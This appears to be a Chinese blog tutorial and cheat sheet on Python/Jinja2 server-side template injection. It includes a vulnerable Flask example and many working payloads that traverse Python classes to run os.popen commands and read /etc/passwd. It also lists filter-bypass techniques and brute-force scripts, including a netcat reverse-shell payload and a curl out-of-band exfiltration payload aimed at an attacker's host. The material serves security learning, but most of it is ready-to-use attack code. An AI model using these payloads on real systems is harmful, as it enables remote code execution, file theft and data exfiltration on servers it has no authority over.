SSTI模板注入

发布于 2024-01-30  158 次阅读


模板注入漏洞---python

1、SSTI

python模板注入也就是SSTI(Server Side Template Injection,服务器端模板注入)攻击者在web中插入payload,服务器进行接收,在编译渲染的过程中把payload进行了拼接,把攻击者的恶意内容执行出来。导致了信息泄露、代码执行、GetShell等问题。
注意:模板引擎和渲染函数本身是没有漏洞的,漏洞产生原因在于模板可控引发代码注入

2、各语言框架SSTI

  • PHP:smarty、twig
  • Python:jinja2、mako、tornad、Django
  • java:Thymeleaf、jade、velocity、FreeMarker
    1

3、关于Python类的调用

不同的类

Python类型 作用
class 类的一个内置属性,表示实例对象的类
base 类型对象的直接基类
bases 类型对象的全部基类,以元组形式,类型的实例通常没有属性
mro method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
subclasses() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
init 初始化类,返回的类型是function
globals 使用方式是 函数名.globals获取function所处空间下可使用的module、方法以及所有变量。
dic 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的dic\t
getattribute() 实例、类、函数都具有的getattribute魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用getattribute方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
getitem() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.getitem('b')
builtins 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。builtinsbuiltin的区别就不放了,百度都有。
import 动态加载类和函数,也就是导入模块,经常用于导入os模块,import('os').popen('ls').read()]
str() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到builtins,而且url_for.globals['builtins']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到builtins,而且get_flashed_messages.globals['builtins']含有current_app。
lipsum flask的一个方法,可以用于得到builtins,而且lipsum.globals含有os模块:{{lipsum.globals['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过一些过滤
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参  (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参  (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.class.init.globals['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>

过滤器

过滤器 作用
length() 获取一个序列号或者字典的长度并将其返回
int() 将值转化为int类型
float() 将值转化为float类型
lower() 将字符串转换为小写
upper() 将字符串转换为大写
reverse() 反转字符串
replace(value,old,new) 将value中的old替换为new
list() 将变量转换为表类型
string() 将变量转换为字符串类型
join() 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr() 获取对象的属性

4、python----SSTI

flask内置函数

  • lipsum 可加载第三方库
  • url_for  可返回url路径
  • get_flasked_message 可获取消息

flask内置对象

  • cycler
  • joiner
  • namespace
  • config
  • request
  • session

形成代码

from flask import Flask, request, render_template_string
from  jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
    name = request.args.get('name', default='yue')
    t = '''
        <html>
            <h1>hello %s</h1>
        </html>
        ''' % (name)
    return render_template_string(t)
my_app.run()
// 在render_template_string()渲染中执行出代码的运行结果

SSTI利用

  1. 看那些类可用{{''.__class__.__base__.__subclasses__()}}
    2
  2. 找利用类索引<class 'os._wrap_close'>
    3
  3. 找利用类方法{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}就会输出一些os的方法了
    这里就可以构造payload了,比如

    {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__.popen('ls').read()}}
    {{[].__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls')}}
    {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

    4

其他引用

config:{{config.__class__.__init__.__globals__['os'].popen('calc')}}
url_for:{{url_for.__globals__.os.popen('calc')}}
lipsum:{{lipsum.__globals__['os'].popen('calc')}}
get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('calc')}}

  1. 文件读取
    查找子类

    <class'_frozen_importlib_external.FileLoader'>
    {{''.__class__.__base__.__subclasses__()[94]["get_data"](0, "/etc/passwd")}}
  2. 内建函数eval执行命令
    {{''.__class__.__base__.__subclasses__()[数字].__init__.__globals__["__builtins__"]['eval']("__import__('os').popen('ls').read()")}
  3. os模块执行命令
  4. importlib类执行命令
    {{''.__class__.__base__.__subclasses__()[数字]["load_module"]("os")["popen"]("ls").read()}}
  5. linecache函数执行命令
    {{''.__class__.__base__.__subclasses__()[数字].__init__.__globals__['linecache']['os'].popen("ls").read()}}
  6. subclasses.Popen类执行命令
    {{[].__class__.__base__.__subclasses__()[数字]('ls /'shell=Ture,stdout=-1).communicate()[0].strip()}}

绕过

  1. 绕过双大括号
    思路:判断语句能不能执行

    {% if 2>1 %}yes{%endif%}    //输出yes
    {% if ''.__class__ %}yes{%endif%}  //输出yes,表示class里面有内容
    {% if ''.__class__.__base__.subclasses__()[数字].__init__.__globals__['popen']('ls').read()%}yes{%endif%}
    //输出yes   说明命令正常
    {% print(''.__class__.__base__.subclasses__()[数字].__init__.__globals__['popen']('ls').read())%}

    脚本

    import requests
    def Popen():
    url = ""  # 写入测试的url
    for i in range(300):
        try:
            data = {"": "{% if ''.__class__.__base__.__subclasses__.()[" + str(
                i) + "].__init__.globals['popen']('cat /etc/passwd').read()%}yes{%endif%}}"}
            response = requests.post(url, data=data)
            if response.status_code == 200:
                if "yes" in response.text:
                    print(i, "--->", data)
                    break
        except:
            pass
    if __name__ == '__main__':
    Popen()
  2. 无回显----SSTI盲注
    反弹shell
    通过rce反弹一个shell出来绕过无回显的页面
    脚本

    def shell():
    url = ""  # 目标地址
    for i in range(300):
    try:
    # 记得添加你的参数
        data = {"参数": "{% if ''.__class__.__base__.__subclasses__.()[" + str(
                i) + "].__init__.globals['popen']('netcat 你的主机地址 -e/bin/bash')
                .read()%}yes{%endif%}}"}
                response = requests.post(url, data=data)
    except:
        pass
  3. 带外注入
    通过requestbin或dnslog的方式将信息传到外界
    脚本

    def shell():
    url = ""  # 目标地址
    for i in range(300):
        try:
            # 记得添加你的参数
            data = {"参数": "{% if ''.__class__.__base__.__subclasses__.()
                    [" + str(i) + "].__init__.globals['popen']('curl url/`ls`')
                    .read()%}yes{%endif%}}"}
                    response = requests.post(url, data=data)
        except:
            pass
  4. 绕过中括号
    __getitem__()魔术方法
    字典使用:传入字符串返回相应的键所对应的值
    列表使用:输入整数返回相应列表的索引值
    payload:{{''.__class__.__base__.__subclasses__().__getitem__(数字).__init__.__globals__.__getitem__('popen')('ls').read()}}
  5. request绕过单双引号的过滤
  6. 过滤器绕过下划线过滤
    过滤器通过管道符号(|)与变量链接,并且在括号中可能有可选参数
    {{''|attr(request.args.x)|attr(request.args.x1)|attr(request.args.x2)()}}&x=__class__&x1=__base__&x2=__subclasses__
  7. 编码绕过:union编码、16进制编码、base64编码、格式化字符串
  8. 中括号过滤,点过滤
    []是可以代替点的
    {{''['__class__']['__base__']['__subclasses__']()}}
  9. 关键字绕过
    1.字符编码
    2.最简单的拼接"+":'__cl'+'ass__'
    3.使用Jinjia2的"~"进行拼接:{%set a="__cla"%}{%set b="ss__"%}{{a~b}}
    4.使用过滤器(reverse反转、replace替换、join拼接等)
    {%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}
    {%set a=['__cla','ss__']|join%}{{()[a]}}
    5.利用python的char():
    {%set chr=url_for.__globals__['__builtins__'].chr%}{''[char(95)+...]}
    从内置的函数里面获取ASCII解码功能,并赋值给变量chr
  10. 绕过数字过滤器
    使用length过滤器
    使用count统计
    {%set a=dict(aaaaaaaaa=a)|join|count%}   //得到9
    {%set b=a+a%}  //得到18
  11. 需要获取config文件,又被过滤了config单词
    {{url_for.__globals__['current_app'].config}}
    {{get_flashed_messages.__globals__['current_app'].config}}
  12. 混合过滤绕过
    1.dict()和join
    {%set a=dict(__cla=1,ss__=2)|join%}{{a}}
    2.获取符号
    利用flask内置函数和对象获取符号
    {%set a=({}|select()|string())|list%}{{a[数字]}} //获取下划线
    {%set b=(self|string())[数值]%}{{b}}  //获取空格
    {%set c=(app.__doc__|string)%}{{c}}  //获取百分号